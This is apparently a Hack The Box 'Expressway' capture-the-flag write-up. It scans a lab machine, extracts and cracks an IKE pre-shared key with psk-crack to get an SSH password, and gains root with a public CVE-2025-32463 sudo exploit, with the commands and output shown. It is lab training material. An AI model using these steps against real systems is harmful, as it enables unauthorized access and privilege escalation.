HTB Expressway

Enum

First doing port scanning.

1
❯ nmap -sCV -T4 10.10.11.87
2
Starting Nmap 7.98 ( https://nmap.org ) at 2025-12-07 18:58 +0700
3
Nmap scan report for expressway.htb (10.10.11.87)
4
Host is up (0.061s latency).
5
Not shown: 999 closed tcp ports (conn-refused)
6
PORT   STATE SERVICE VERSION
7
22/tcp open  ssh     OpenSSH 10.0p2 Debian 8 (protocol 2.0)
8
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Seems only port 22 SSH open, i tried to rescan using UDP method.

1
sudo nmap -sU -p- --top-ports 200 10.10.11.87
2
Starting Nmap 7.98 ( https://nmap.org ) at 2025-12-07 18:59 +0700=
3
PORT     STATE         SERVICE
4
68/udp   open|filtered dhcpc
5
69/udp   open|filtered tftp
6
500/udp  open          isakmp
7
4500/udp open|filtered nat-t-ike

Looks that port 500 isakmp are open.

Foothold

Using ike-scan.

1
❯ sudo ike-scan -M 10.10.11.87
2
Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
3
10.10.11.87     Main Mode Handshake returned
4
        HDR=(CKY-R=37311a644b96bf83)
5
        SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
6
        VID=09002689dfd6b712 (XAUTH)
7
        VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)
8

9
Ending ike-scan 1.9.6: 1 hosts scanned in 0.084 seconds (11.94 hosts/sec).  1 returned handshake; 0 returned notify

Try to using aggresive mode.

1
❯ sudo ike-scan -M -A 10.10.11.87
2
Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
3
10.10.11.87     Aggressive Mode Handshake returned
4
        HDR=(CKY-R=7758f632446e0796)
5
        SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
6
        KeyExchange(128 bytes)
7
        Nonce(32 bytes)
8
        ID(Type=ID_USER_FQDN, Value=ike@expressway.htb)
9
        VID=09002689dfd6b712 (XAUTH)
10
        VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)
11
        Hash(20 bytes)
12

13
Ending ike-scan 1.9.6: 1 hosts scanned in 0.110 seconds (9.07 hosts/sec).  1 returned handshake; 0 returned notify

Looks that any id user named ike@expressway.htb. Try to extract using pskcrack.

1
sudo ike-scan -M -A 10.10.11.87 --pskcrack=output.txt

Now brute the hash using hashcat, pskcrack or john, and the wordlists is rockyou.txt.

1
psk-crack -d /usr/share/dict/rockyou.txt output.txt
2
Starting psk-crack [ike-scan 1.9.6] (http://www.nta-monitor.com/tools/ike-scan/)
3
Running in dictionary cracking mode
4
key "freakingrockstarontheroad" matches SHA1 hash c1dd8393403ec99db7270e5d49def7c1659dace9
5
Ending psk-crack: 8045039 iterations in 46.258 seconds (173915.12 iterations/sec)

Now we have SSH credentials, username ike@expressway.htb and the password is freakingrockstarontheroad. Try to access it.

1
ike@expressway:~$ ls
2
user.txt
3
ike@expressway:~$ cat user.txt
4
ike@expressway:~$

Privilege Escalation

Try to run command sudo -l.

1
ike@expressway:~$ sudo -l
2

3
We trust you have received the usual lecture from the local System
4
Administrator. It usually boils down to these three things:
5

6
    #1) Respect the privacy of others.
7
    #2) Think before you type.
8
    #3) With great power comes great responsibility.
9

10
For security reasons, the password you type will not be visible.
11

12
Password:
13
Sorry, try again.

Seems like custom sudo. If we look at sudo location.

1
ike@expressway:~$ which sudo
2
/usr/local/bin/sudo
3
ike@expressway:~$

This not default sudo location.

1
ike@expressway:~$ sudo --version
2
Sudo version 1.9.17
3
Sudoers policy plugin version 1.9.17
4
Sudoers file grammar version 50
5
Sudoers I/O plugin version 1.9.17
6
Sudoers audit plugin version 1.9.17

Try to find public exploits. obsidian://open?vault=projectidek&file=assets%2FPasted%20image%2020251207191642.png

CVE-2025-32463.

Using this exploit. https://github.com/kh4sh3i/CVE-2025-32463

Copy into the machine using SCP.

1
scp exploit.sh ike@expressway.htb:/tmp
2
ike@expressway.htb's password:
3
exploit.sh

Open the machine, run id command first to check user now.

1
ike@expressway:/tmp$ id
2
uid=1001(ike) gid=1001(ike) groups=1001(ike),13(proxy)
3
ike@expressway:/tmp$ ./exploit.sh
4
woot!
5
root@expressway:/# id
6
uid=0(root) gid=0(root) groups=0(root),13(proxy),1001(ike)

Pwned.

1
root@expressway:/# cat /root/root.txt